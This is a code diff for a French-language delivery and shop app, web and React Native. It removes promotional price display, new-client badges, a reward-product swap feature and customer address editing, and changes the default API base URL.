<Text
|
||||
style={{
|
||||
color: colors.warning,
|
||||
fontSize: fontSize.sm,
|
||||
fontWeight: "600",
|
||||
}}
|
||||
>
|
||||
{it.price > 0
|
||||
? `${Number(it.price).toFixed(2)} €`
|
||||
: "Offert"}
|
||||
</Text>
|
||||
</View>
|
||||
))}
|
||||
</View>
|
||||
))
|
||||
)}
|
||||
</ScrollView>
|
||||
)}
|
||||
</Modal>
|
||||
|
||||
{/* Modal commandes annulées */}
|
||||
<Modal
|
||||
visible={cancelledModal.visible}
|
||||
|
||||
@@ -22,7 +22,7 @@ import {
|
||||
useWindowDimensions,
|
||||
} from "react-native";
|
||||
import Geolocation from "@react-native-community/geolocation";
|
||||
import { Ionicons, FontAwesome5 } from "@expo/vector-icons";
|
||||
import { Ionicons } from "@expo/vector-icons";
|
||||
import * as Location from "expo-location";
|
||||
import { spacing, fontSize, borderRadius } from "../../theme";
|
||||
import { useTheme } from "../../context/ThemeContext";
|
||||
@@ -75,7 +75,7 @@ interface EnrichedDelivery extends DeliveryItem {
|
||||
clientUsername?: string;
|
||||
clientNom?: string;
|
||||
clientPrenom?: string;
|
||||
items?: Array<{ produit: string; quantite: number; prix: number; unit?: string; is_reward?: boolean; promo_discount?: number }>;
|
||||
items?: Array<{ produit: string; quantite: number; prix: number; unit?: string; is_reward?: boolean }>;
|
||||
}
|
||||
|
||||
export default function DashboardScreen() {
|
||||
@@ -271,8 +271,6 @@ export default function DashboardScreen() {
|
||||
[],
|
||||
referral_used:
|
||||
detail.delivery?.referral_used || 0,
|
||||
is_new_client:
|
||||
detail.delivery?.is_new_client || false,
|
||||
};
|
||||
}
|
||||
} catch {
|
||||
@@ -625,38 +623,6 @@ export default function DashboardScreen() {
|
||||
{item.clientName}
|
||||
</Text>
|
||||
)}
|
||||
{item.is_new_client && (
|
||||
<View
|
||||
style={{
|
||||
flexDirection: "row",
|
||||
alignItems: "center",
|
||||
alignSelf: "flex-start",
|
||||
gap: spacing.xs,
|
||||
marginTop: spacing.xs,
|
||||
paddingHorizontal: spacing.m,
|
||||
paddingVertical: spacing.xs,
|
||||
borderRadius: borderRadius.xl,
|
||||
borderWidth: 1,
|
||||
borderColor: "#EF4444",
|
||||
backgroundColor: "#EF444422",
|
||||
}}
|
||||
>
|
||||
<FontAwesome5
|
||||
name="user-plus"
|
||||
size={11}
|
||||
color={"#EF4444"}
|
||||
/>
|
||||
<Text
|
||||
style={{
|
||||
color: "#EF4444",
|
||||
fontSize: fontSize.xs,
|
||||
fontWeight: "600",
|
||||
}}
|
||||
>
|
||||
NEW
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
<Badge
|
||||
label={
|
||||
@@ -741,14 +707,7 @@ export default function DashboardScreen() {
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
{item.items.map((prod, idx) => {
|
||||
const promoDiscount = prod.promo_discount ?? 0;
|
||||
const hasPromo = !prod.is_reward && promoDiscount > 0;
|
||||
const originalPrice = (prod.prix ?? 0) + promoDiscount;
|
||||
const promoPercent = hasPromo && originalPrice > 0
|
||||
? Math.round((promoDiscount / originalPrice) * 100)
|
||||
: 0;
|
||||
return (
|
||||
{item.items.map((prod, idx) => (
|
||||
<View key={idx} style={styles.itemRow}>
|
||||
<View style={{ flex: 1 }}>
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
||||
@@ -759,34 +718,16 @@ export default function DashboardScreen() {
|
||||
<Text style={{ fontSize: 10, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
||||
</View>
|
||||
)}
|
||||
{hasPromo && (
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 2, backgroundColor: "rgba(34,197,94,0.15)", borderRadius: 4, paddingHorizontal: 4, paddingVertical: 1 }}>
|
||||
<Ionicons name="pricetag-outline" size={10} color="#22c55e" />
|
||||
<Text style={{ fontSize: 10, color: "#22c55e", fontWeight: "700" }}>-{promoPercent}%</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
<Text style={styles.itemQty}>
|
||||
Quantité: {prod.quantite}{prod.unit || ""}
|
||||
</Text>
|
||||
</View>
|
||||
{hasPromo ? (
|
||||
<View style={{ alignItems: "flex-end" }}>
|
||||
<Text style={{ fontSize: 12, color: colors.textMuted, textDecorationLine: "line-through" }}>
|
||||
{originalPrice.toFixed(2)}€
|
||||
</Text>
|
||||
<Text style={[styles.itemPrice, { color: "#22c55e" }]}>
|
||||
{(prod.prix ?? 0).toFixed(2)}€
|
||||
</Text>
|
||||
</View>
|
||||
) : (
|
||||
<Text style={[styles.itemPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||
</Text>
|
||||
)}
|
||||
<Text style={[styles.itemPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||
</Text>
|
||||
</View>
|
||||
);
|
||||
})}
|
||||
))}
|
||||
<View style={styles.totalRow}>
|
||||
<Text style={styles.totalLabel}>Total</Text>
|
||||
<Text style={styles.totalValue}>
|
||||
@@ -2069,14 +2010,7 @@ export default function DashboardScreen() {
|
||||
</Text>
|
||||
</View>
|
||||
)}
|
||||
{detailsDelivery.items.map((prod, idx) => {
|
||||
const promoDiscount = prod.promo_discount ?? 0;
|
||||
const hasPromo = !prod.is_reward && promoDiscount > 0;
|
||||
const originalPrice = (prod.prix ?? 0) + promoDiscount;
|
||||
const promoPercent = hasPromo && originalPrice > 0
|
||||
? Math.round((promoDiscount / originalPrice) * 100)
|
||||
: 0;
|
||||
return (
|
||||
{detailsDelivery.items.map((prod, idx) => (
|
||||
<View key={idx} style={styles.detailProductRow}>
|
||||
<View style={{ flex: 1 }}>
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 4 }}>
|
||||
@@ -2087,34 +2021,16 @@ export default function DashboardScreen() {
|
||||
<Text style={{ fontSize: 11, color: "#f59e0b", fontWeight: "700" }}>Récompense</Text>
|
||||
</View>
|
||||
)}
|
||||
{hasPromo && (
|
||||
<View style={{ flexDirection: "row", alignItems: "center", gap: 2, backgroundColor: "rgba(34,197,94,0.15)", borderRadius: 4, paddingHorizontal: 4, paddingVertical: 1 }}>
|
||||
<Ionicons name="pricetag-outline" size={11} color="#22c55e" />
|
||||
<Text style={{ fontSize: 11, color: "#22c55e", fontWeight: "700" }}>-{promoPercent}%</Text>
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
<Text style={styles.detailProductQty}>
|
||||
Quantité : {prod.quantite}{prod.unit || ""}
|
||||
</Text>
|
||||
</View>
|
||||
{hasPromo ? (
|
||||
<View style={{ alignItems: "flex-end" }}>
|
||||
<Text style={{ fontSize: 12, color: colors.textMuted, textDecorationLine: "line-through" }}>
|
||||
{originalPrice.toFixed(2)}€
|
||||
</Text>
|
||||
<Text style={[styles.detailProductPrice, { color: "#22c55e" }]}>
|
||||
{(prod.prix ?? 0).toFixed(2)}€
|
||||
</Text>
|
||||
</View>
|
||||
) : (
|
||||
<Text style={[styles.detailProductPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||
</Text>
|
||||
)}
|
||||
<Text style={[styles.detailProductPrice, prod.is_reward ? { color: "#10b981" } : {}]}>
|
||||
{prod.is_reward && (prod.prix ?? 0) === 0 ? "Offert" : `${(prod.prix ?? 0).toFixed(2)}€`}
|
||||
</Text>
|
||||
</View>
|
||||
);
|
||||
})}
|
||||
))}
|
||||
</>
|
||||
) : (
|
||||
<Text style={styles.detailEmpty}>Aucun produit</Text>
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
[ZoneTransfer]
|
||||
ZoneId=3
|
||||
HostUrl=about:internet
|
||||
@@ -796,13 +796,7 @@ export interface Product {
|
||||
category: string;
|
||||
unit?: string;
|
||||
stock: number;
|
||||
prices?: Array<{
|
||||
quantity: number;
|
||||
price: number;
|
||||
active_price?: boolean;
|
||||
promo_price?: number | null;
|
||||
promo_percent?: number;
|
||||
}>;
|
||||
prices?: Array<{ quantity: number; price: number; active_price?: boolean }>;
|
||||
media?: MediaItem[]; // ✅ CHANGÉ: string[] → MediaItem[]
|
||||
coming_soon?: boolean;
|
||||
}
|
||||
@@ -1446,60 +1440,6 @@ export const cancelCommand = async (
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* ✅ UPDATE OWN COMMAND ADDRESS - Corriger l'adresse de sa propre commande
|
||||
* PUT /api/v1/commands/:id/address
|
||||
*/
|
||||
export const updateOwnCommandAddress = async (
|
||||
commandId: number,
|
||||
deliveryAddress: string,
|
||||
): Promise<{ success: boolean; message: string }> => {
|
||||
const token = sessionStorage.getItem("token");
|
||||
|
||||
if (!token) {
|
||||
return {
|
||||
success: false,
|
||||
message: "Session invalide",
|
||||
};
|
||||
}
|
||||
|
||||
try {
|
||||
const response = await fetch(
|
||||
`${API_URL}/commands/${commandId}/address`,
|
||||
{
|
||||
method: "PUT",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${token}`,
|
||||
},
|
||||
body: JSON.stringify({ delivery_address: deliveryAddress }),
|
||||
},
|
||||
);
|
||||
|
||||
const data = await safeJson(response);
|
||||
|
||||
if (!response.ok) {
|
||||
return {
|
||||
success: false,
|
||||
message: data.error || "Erreur lors de la mise à jour de l'adresse",
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: data.message || "Adresse mise à jour",
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
message:
|
||||
error instanceof Error
|
||||
? error.message
|
||||
: "Erreur lors de la mise à jour de l'adresse",
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* ✅ GET MY CANCELLATION HISTORY - Historique des annulations
|
||||
* GET /api/v1/my-cancellation-history
|
||||
@@ -2292,29 +2232,6 @@ export const getMyPointsRewards = async (): Promise<{
|
||||
}
|
||||
};
|
||||
|
||||
export const swapMyRewardProduct = async (
|
||||
productId: number,
|
||||
): Promise<{ success: boolean; product_names?: string[]; error?: string }> => {
|
||||
const token = getAuthToken();
|
||||
if (!token) return { success: false, error: "Non authentifié" };
|
||||
try {
|
||||
const response = await fetch(`${API_URL}/points/swap`, {
|
||||
method: "PUT",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${token}`,
|
||||
},
|
||||
body: JSON.stringify({ product_id: productId }),
|
||||
});
|
||||
const data = await safeJson(response);
|
||||
if (!response.ok)
|
||||
return { success: false, error: data.error || "Erreur" };
|
||||
return { success: true, product_names: data.product_names };
|
||||
} catch {
|
||||
return { success: false, error: "Erreur de connexion" };
|
||||
}
|
||||
};
|
||||
|
||||
export const submitLivreurRating = async (
|
||||
orderId: number,
|
||||
rating: number,
|
||||
|
||||
@@ -122,13 +122,6 @@
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.product-price-strike {
|
||||
color: var(--text-muted);
|
||||
text-decoration: line-through;
|
||||
font-size: 0.75em;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.product-stock {
|
||||
color: var(--text-muted);
|
||||
font-size: clamp(0.85rem, 2.5vw, 1rem);
|
||||
|
||||
@@ -28,13 +28,7 @@ interface ProductCardProps {
|
||||
image: string;
|
||||
stock: number;
|
||||
category: string;
|
||||
prices?: Array<{
|
||||
quantity: number;
|
||||
price: number;
|
||||
active_price?: boolean;
|
||||
promo_price?: number | null;
|
||||
promo_percent?: number;
|
||||
}>;
|
||||
prices?: Array<{ quantity: number; price: number; active_price?: boolean }>;
|
||||
hasVideo?: boolean;
|
||||
videoUrl?: string; // ✨ Nouveau prop pour l'URL de la vidéo
|
||||
categoryColor?: string;
|
||||
@@ -69,11 +63,6 @@ function ProductCard({
|
||||
const isOutOfStock = stock === 0;
|
||||
const isComingSoon = coming_soon === true;
|
||||
const normalizedCategory = (category || "autre").toLowerCase().trim();
|
||||
const firstPromoPrice =
|
||||
prices?.[0]?.promo_price != null &&
|
||||
prices[0].promo_price < prices[0].price
|
||||
? prices[0].promo_price
|
||||
: null;
|
||||
|
||||
const handleDetailsClick = (e: React.MouseEvent) => {
|
||||
e.stopPropagation();
|
||||
@@ -182,20 +171,9 @@ function ProductCard({
|
||||
<div className="product-info">
|
||||
<h3 className="product-name">{name}</h3>
|
||||
<p className="product-price">
|
||||
{price > 0 ? (
|
||||
firstPromoPrice !== null ? (
|
||||
<>
|
||||
<span className="product-price-strike">
|
||||
{price.toFixed(2)} €
|
||||
</span>{" "}
|
||||
{firstPromoPrice.toFixed(2)} €
|
||||
</>
|
||||
) : (
|
||||
`${price.toFixed(2)} €`
|
||||
)
|
||||
) : (
|
||||
"Prix non disponible"
|
||||
)}
|
||||
{price > 0
|
||||
? `${price.toFixed(2)} €`
|
||||
: "Prix non disponible"}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -246,11 +224,9 @@ function ProductCard({
|
||||
key={priceOption.quantity}
|
||||
value={priceOption.quantity}
|
||||
>
|
||||
{priceOption.promo_price != null &&
|
||||
priceOption.promo_price <
|
||||
priceOption.price
|
||||
? `${priceOption.quantity}${unit} - ${priceOption.promo_price.toFixed(2)} € (au lieu de ${priceOption.price.toFixed(2)} €, -${priceOption.promo_percent}%)`
|
||||
: `${priceOption.quantity}${unit} - ${priceOption.price.toFixed(2)} €`}
|
||||
{priceOption.quantity}
|
||||
{unit} - {priceOption.price.toFixed(2)}{" "}
|
||||
€
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
|
||||
@@ -1,9 +1,5 @@
|
||||
// ============================================
|
||||
// context/CartContext.tsx - QUANTITÉS EN GRAMMES
|
||||
// ============================================
|
||||
// ✅ quantity = grammes choisis (5, 10, 25, etc.)
|
||||
// ✅ Pas de boutons +/- dans le panier
|
||||
// ✅ Pour acheter 2× le même produit, l'ajouter 2 fois
|
||||
|
||||
import {
|
||||
createContext,
|
||||
@@ -348,4 +344,3 @@ export function CartProvider({ children }: { children: ReactNode }) {
|
||||
</CartContext.Provider>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@ import { useCart } from "../../context/useCart";
|
||||
import Navbar from "../../components/Navbar";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useNavigate } from "react-router-dom";
|
||||
import { isUserAuthenticated, getProductById, getMediaUrl, getMyPointsRewards, swapMyRewardProduct } from "../../api/api";
|
||||
import type { Product, RewardItemConfig } from "../../api/api";
|
||||
import { isUserAuthenticated, getProductById, getMediaUrl } from "../../api/api";
|
||||
import type { Product } from "../../api/api";
|
||||
import { Trash2, ShoppingCart, AlertTriangle, Leaf, X } from "lucide-react";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { faGift, faRepeat } from "@fortawesome/free-solid-svg-icons";
|
||||
import { faGift } from "@fortawesome/free-solid-svg-icons";
|
||||
import "./Cart.css";
|
||||
|
||||
interface CartItemWithMedia {
|
||||
@@ -30,9 +30,6 @@ function Cart() {
|
||||
const [currentVideoUrl, setCurrentVideoUrl] = useState<string>("");
|
||||
const [enrichedItems, setEnrichedItems] = useState<CartItemWithMedia[]>([]);
|
||||
const [loadingMedia, setLoadingMedia] = useState(false);
|
||||
const [swapTarget, setSwapTarget] = useState<CartItemWithMedia | null>(null);
|
||||
const [swapChoices, setSwapChoices] = useState<RewardItemConfig[]>([]);
|
||||
const [swapLoading, setSwapLoading] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
if (!isUserAuthenticated()) navigate("/login/client", { replace: true });
|
||||
@@ -108,28 +105,6 @@ function Cart() {
|
||||
await removeFromCart(itemId);
|
||||
};
|
||||
|
||||
const handleOpenSwap = async (item: CartItemWithMedia) => {
|
||||
setSwapTarget(item);
|
||||
setSwapChoices([]);
|
||||
const res = await getMyPointsRewards();
|
||||
const pool = res.pools.find((p) =>
|
||||
p.eligible_reward_items.some((it) => it.product_id === item.product_id),
|
||||
);
|
||||
setSwapChoices(
|
||||
(pool?.eligible_reward_items || []).filter((it) => it.product_id !== item.product_id),
|
||||
);
|
||||
};
|
||||
|
||||
const handleSwapChoice = async (productId: number) => {
|
||||
setSwapLoading(true);
|
||||
const res = await swapMyRewardProduct(productId);
|
||||
setSwapLoading(false);
|
||||
if (res.success) {
|
||||
setSwapTarget(null);
|
||||
await refreshCart();
|
||||
}
|
||||
};
|
||||
|
||||
const handleCheckout = () => {
|
||||
if (!isUserAuthenticated()) { navigate("/login/client", { replace: true }); return; }
|
||||
navigate("/user/checkout");
|
||||
@@ -225,19 +200,6 @@ function Cart() {
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Changer le produit de la récompense */}
|
||||
{item.is_reward && (
|
||||
<button
|
||||
className="cart-row-remove"
|
||||
onClick={() => handleOpenSwap(item)}
|
||||
disabled={loading}
|
||||
aria-label={`Changer le produit de la récompense`}
|
||||
title="Changer de produit"
|
||||
>
|
||||
<FontAwesomeIcon icon={faRepeat} />
|
||||
</button>
|
||||
)}
|
||||
|
||||
{/* Bouton supprimer */}
|
||||
<button
|
||||
className="cart-row-remove"
|
||||
@@ -252,34 +214,6 @@ function Cart() {
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Modale de changement de produit récompense */}
|
||||
{swapTarget && (
|
||||
<div style={{ position: "fixed", inset: 0, background: "rgba(0,0,0,0.6)", display: "flex", alignItems: "center", justifyContent: "center", zIndex: 1000 }}>
|
||||
<div style={{ background: "#1a1a1a", borderRadius: 12, padding: 20, maxWidth: 360, width: "90%" }}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", alignItems: "center", marginBottom: 12 }}>
|
||||
<p style={{ color: "#fff", fontWeight: 700 }}>Choisir un autre produit</p>
|
||||
<button onClick={() => setSwapTarget(null)} style={{ background: "none", border: "none", color: "#fff", cursor: "pointer" }}>
|
||||
<X size={18} />
|
||||
</button>
|
||||
</div>
|
||||
{swapChoices.length === 0 ? (
|
||||
<p style={{ color: "#999", fontSize: "0.85rem" }}>Aucun autre produit disponible pour cette récompense.</p>
|
||||
) : (
|
||||
swapChoices.map((choice) => (
|
||||
<button
|
||||
key={choice.product_id}
|
||||
onClick={() => handleSwapChoice(choice.product_id)}
|
||||
disabled={swapLoading}
|
||||
style={{ display: "block", width: "100%", textAlign: "left", padding: "8px 10px", marginBottom: 6, background: "#2a2a2a", border: "none", borderRadius: 8, color: "#fff", cursor: "pointer" }}
|
||||
>
|
||||
{choice.product_name} {choice.price === 0 ? "(offert)" : `(${choice.price.toFixed(2)} €)`}
|
||||
</button>
|
||||
))
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Footer fixe */}
|
||||
<div className="cart-footer">
|
||||
<div className="cart-footer-total">
|
||||
|
||||
@@ -329,10 +329,10 @@ function ProductDetail() {
|
||||
)}
|
||||
<span style={hasPromo ? { color: "#22c55e" } : undefined}>
|
||||
{selectedPrice.toFixed(2)} €
|
||||
</span>
|
||||
{!hasPromo &&
|
||||
selectedGrams &&
|
||||
` pour ${selectedGrams}${product.unit || "g"}`}
|
||||
</span>{" "}
|
||||
{selectedGrams &&
|
||||
`pour ${selectedGrams}${product.unit || "g"}`}
|
||||
{hasPromo && ` (-${selectedTier!.promo_percent}%)`}
|
||||
</p>
|
||||
);
|
||||
})()}
|
||||
|
||||
@@ -14,7 +14,6 @@ import {
|
||||
getOrderETA,
|
||||
confirmReception,
|
||||
cancelCommand,
|
||||
updateOwnCommandAddress,
|
||||
isUserAuthenticated,
|
||||
getPublicSettings,
|
||||
} from "../../api/api";
|
||||
@@ -288,12 +287,6 @@ function SuiviLivraison() {
|
||||
useState<CancelCommandResponse | null>(null);
|
||||
const [poolNames, setPoolNames] = useState<string[]>([]);
|
||||
|
||||
const [editingAddressOrder, setEditingAddressOrder] = useState<
|
||||
number | null
|
||||
>(null);
|
||||
const [newAddress, setNewAddress] = useState("");
|
||||
const [editAddressLoading, setEditAddressLoading] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
getPublicSettings().then((s) => setPoolNames(s.pool_names ?? []));
|
||||
}, []);
|
||||
@@ -581,53 +574,6 @@ function SuiviLivraison() {
|
||||
handleCancelOrder(true);
|
||||
};
|
||||
|
||||
const openEditAddressDialog = (orderId: number) => {
|
||||
if (!isUserAuthenticated()) {
|
||||
navigate("/login/client", { replace: true });
|
||||
return;
|
||||
}
|
||||
const order = orders.find((o) => o.id === orderId);
|
||||
setNewAddress(order ? getDeliveryAddress(order) : "");
|
||||
setEditingAddressOrder(orderId);
|
||||
};
|
||||
|
||||
const closeEditAddressDialog = () => {
|
||||
setEditingAddressOrder(null);
|
||||
setNewAddress("");
|
||||
};
|
||||
|
||||
const handleUpdateAddress = async () => {
|
||||
if (!editingAddressOrder || !newAddress.trim()) return;
|
||||
|
||||
try {
|
||||
setEditAddressLoading(true);
|
||||
const response = await updateOwnCommandAddress(
|
||||
editingAddressOrder,
|
||||
newAddress.trim(),
|
||||
);
|
||||
|
||||
if (response.success) {
|
||||
showToast("Adresse mise à jour", "success");
|
||||
closeEditAddressDialog();
|
||||
loadOrders();
|
||||
} else {
|
||||
showToast(
|
||||
response.message || "Erreur lors de la mise à jour",
|
||||
"error",
|
||||
);
|
||||
}
|
||||
} catch (error: unknown) {
|
||||
showToast(
|
||||
error instanceof Error
|
||||
? error.message
|
||||
: "Erreur lors de la mise à jour de l'adresse",
|
||||
"error",
|
||||
);
|
||||
} finally {
|
||||
setEditAddressLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
if (loading && orders.length === 0) {
|
||||
return (
|
||||
<>
|
||||
@@ -1197,27 +1143,6 @@ function SuiviLivraison() {
|
||||
</div>
|
||||
) : (
|
||||
<div className="action-buttons">
|
||||
{(statusLow ===
|
||||
"pending" ||
|
||||
statusLow ===
|
||||
"assigned") && (
|
||||
<button
|
||||
className="btn-secondary"
|
||||
onClick={() =>
|
||||
openEditAddressDialog(
|
||||
order.id,
|
||||
)
|
||||
}
|
||||
>
|
||||
<FontAwesomeIcon
|
||||
icon={
|
||||
faMapMarkerAlt
|
||||
}
|
||||
/>{" "}
|
||||
Modifier
|
||||
l'adresse
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
className="btn-cancel-order"
|
||||
onClick={() =>
|
||||
@@ -1338,73 +1263,6 @@ function SuiviLivraison() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Dialog de modification d'adresse */}
|
||||
{editingAddressOrder !== null && (
|
||||
<div
|
||||
className="confirm-dialog-overlay"
|
||||
onClick={closeEditAddressDialog}
|
||||
>
|
||||
<div
|
||||
className="confirm-dialog"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<div className="confirm-dialog-header">
|
||||
<h3>
|
||||
<FontAwesomeIcon icon={faMapMarkerAlt} />{" "}
|
||||
Modifier l'adresse de livraison
|
||||
</h3>
|
||||
</div>
|
||||
<div className="confirm-dialog-body">
|
||||
<div className="form-group">
|
||||
<label htmlFor="new-address">
|
||||
Nouvelle adresse de livraison
|
||||
</label>
|
||||
<textarea
|
||||
id="new-address"
|
||||
value={newAddress}
|
||||
onChange={(e) =>
|
||||
setNewAddress(e.target.value)
|
||||
}
|
||||
placeholder="Adresse complète"
|
||||
rows={3}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="confirm-dialog-actions">
|
||||
<button
|
||||
className="btn-secondary"
|
||||
onClick={closeEditAddressDialog}
|
||||
disabled={editAddressLoading}
|
||||
>
|
||||
Retour
|
||||
</button>
|
||||
<button
|
||||
className="btn-confirm"
|
||||
onClick={handleUpdateAddress}
|
||||
disabled={
|
||||
editAddressLoading || !newAddress.trim()
|
||||
}
|
||||
>
|
||||
{editAddressLoading ? (
|
||||
<>
|
||||
<FontAwesomeIcon
|
||||
icon={faClock}
|
||||
spin
|
||||
/>{" "}
|
||||
Enregistrement...
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<FontAwesomeIcon icon={faCheck} />{" "}
|
||||
Enregistrer
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Dialog d'annulation */}
|
||||
{showCancelDialog && (
|
||||
<div
|
||||
|
||||
@@ -457,29 +457,6 @@ export const respondToAddressProposal = async (
|
||||
}
|
||||
};
|
||||
|
||||
export const updateOwnCommandAddress = async (
|
||||
commandId: number,
|
||||
deliveryAddress: string,
|
||||
): Promise<{ success: boolean; message: string }> => {
|
||||
try {
|
||||
const { data } = await apiClient.put(
|
||||
`${V1}/commands/${commandId}/address`,
|
||||
{ delivery_address: deliveryAddress },
|
||||
);
|
||||
return {
|
||||
success: true,
|
||||
message: data.message || "Adresse mise à jour",
|
||||
};
|
||||
} catch (error: any) {
|
||||
return {
|
||||
success: false,
|
||||
message:
|
||||
error.response?.data?.error ||
|
||||
"Erreur lors de la mise à jour de l'adresse",
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
export const getOrderTracking = async (
|
||||
commandId: number,
|
||||
): Promise<TrackingResponse> => {
|
||||
@@ -1071,19 +1048,6 @@ export const claimMyReward = async (
|
||||
}
|
||||
};
|
||||
|
||||
export const swapMyRewardProduct = async (
|
||||
productId: number,
|
||||
): Promise<{ success: boolean; product_names?: string[]; error?: string }> => {
|
||||
try {
|
||||
const { data } = await apiClient.put(`${V1}/points/swap`, {
|
||||
product_id: productId,
|
||||
});
|
||||
return { success: true, product_names: data.product_names };
|
||||
} catch (e: any) {
|
||||
return { success: false, error: e?.response?.data?.error || "Erreur" };
|
||||
}
|
||||
};
|
||||
|
||||
export const submitLivreurRating = async (
|
||||
orderId: number,
|
||||
rating: number,
|
||||
|
||||
@@ -2,7 +2,7 @@ import axios from "axios";
|
||||
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
||||
|
||||
export const API_BASE_URL =
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
|
||||
|
||||
const apiClient = axios.create({
|
||||
baseURL: API_BASE_URL,
|
||||
|
||||
@@ -47,8 +47,6 @@ interface ProductCardProps {
|
||||
quantity: number;
|
||||
price: number;
|
||||
active_price?: boolean;
|
||||
promo_price?: number | null;
|
||||
promo_percent?: number;
|
||||
}>;
|
||||
media?: Array<{ url: string; type: string }>;
|
||||
};
|
||||
@@ -69,11 +67,6 @@ export default function ProductCard({
|
||||
const activePrices =
|
||||
product.prices?.filter((p) => p.active_price !== false) ?? [];
|
||||
const firstPrice = activePrices[0]?.price ?? null;
|
||||
const firstPromoPrice =
|
||||
activePrices[0]?.promo_price != null &&
|
||||
activePrices[0].promo_price < activePrices[0].price
|
||||
? activePrices[0].promo_price
|
||||
: null;
|
||||
|
||||
const imageMedia = product.media?.find((m) => m.type === "image");
|
||||
const videoMedia = product.media?.find((m) => m.type === "video");
|
||||
@@ -205,33 +198,11 @@ export default function ProductCard({
|
||||
>
|
||||
{product.name}
|
||||
</Text>
|
||||
{firstPrice !== null ? (
|
||||
firstPromoPrice !== null ? (
|
||||
<View style={styles.priceRow}>
|
||||
<Text
|
||||
style={[
|
||||
styles.priceStrike,
|
||||
{ color: colors.textMuted },
|
||||
]}
|
||||
>
|
||||
{firstPrice.toFixed(2)} €
|
||||
</Text>
|
||||
<Text
|
||||
style={[styles.price, { color: colors.success }]}
|
||||
>
|
||||
{firstPromoPrice.toFixed(2)} €
|
||||
</Text>
|
||||
</View>
|
||||
) : (
|
||||
<Text style={[styles.price, { color: colors.success }]}>
|
||||
{firstPrice.toFixed(2)} €
|
||||
</Text>
|
||||
)
|
||||
) : (
|
||||
<Text style={[styles.price, { color: colors.success }]}>
|
||||
Prix non disponible
|
||||
</Text>
|
||||
)}
|
||||
<Text style={[styles.price, { color: colors.success }]}>
|
||||
{firstPrice !== null
|
||||
? `${firstPrice.toFixed(2)} €`
|
||||
: "Prix non disponible"}
|
||||
</Text>
|
||||
</View>
|
||||
|
||||
<View
|
||||
@@ -346,39 +317,14 @@ export default function ProductCard({
|
||||
{p.quantity}
|
||||
{product.unit || "g"}
|
||||
</Text>
|
||||
{p.promo_price != null &&
|
||||
p.promo_price < p.price ? (
|
||||
<View style={styles.pickerPriceRow}>
|
||||
<Text
|
||||
style={[
|
||||
styles.priceStrike,
|
||||
{ color: colors.textMuted },
|
||||
]}
|
||||
>
|
||||
{p.price.toFixed(2)} €
|
||||
</Text>
|
||||
<Text
|
||||
style={[
|
||||
styles.pickerOptionPrice,
|
||||
{ color: catColor },
|
||||
]}
|
||||
>
|
||||
{p.promo_price.toFixed(2)} €
|
||||
{p.promo_percent
|
||||
? ` (-${p.promo_percent}%)`
|
||||
: ""}
|
||||
</Text>
|
||||
</View>
|
||||
) : (
|
||||
<Text
|
||||
style={[
|
||||
styles.pickerOptionPrice,
|
||||
{ color: catColor },
|
||||
]}
|
||||
>
|
||||
{p.price.toFixed(2)} €
|
||||
</Text>
|
||||
)}
|
||||
<Text
|
||||
style={[
|
||||
styles.pickerOptionPrice,
|
||||
{ color: catColor },
|
||||
]}
|
||||
>
|
||||
{p.price.toFixed(2)} €
|
||||
</Text>
|
||||
</View>
|
||||
<Ionicons
|
||||
name="add-circle"
|
||||
@@ -569,21 +515,6 @@ const styles = StyleSheet.create({
|
||||
fontWeight: fontWeight.bold,
|
||||
textAlign: "center",
|
||||
},
|
||||
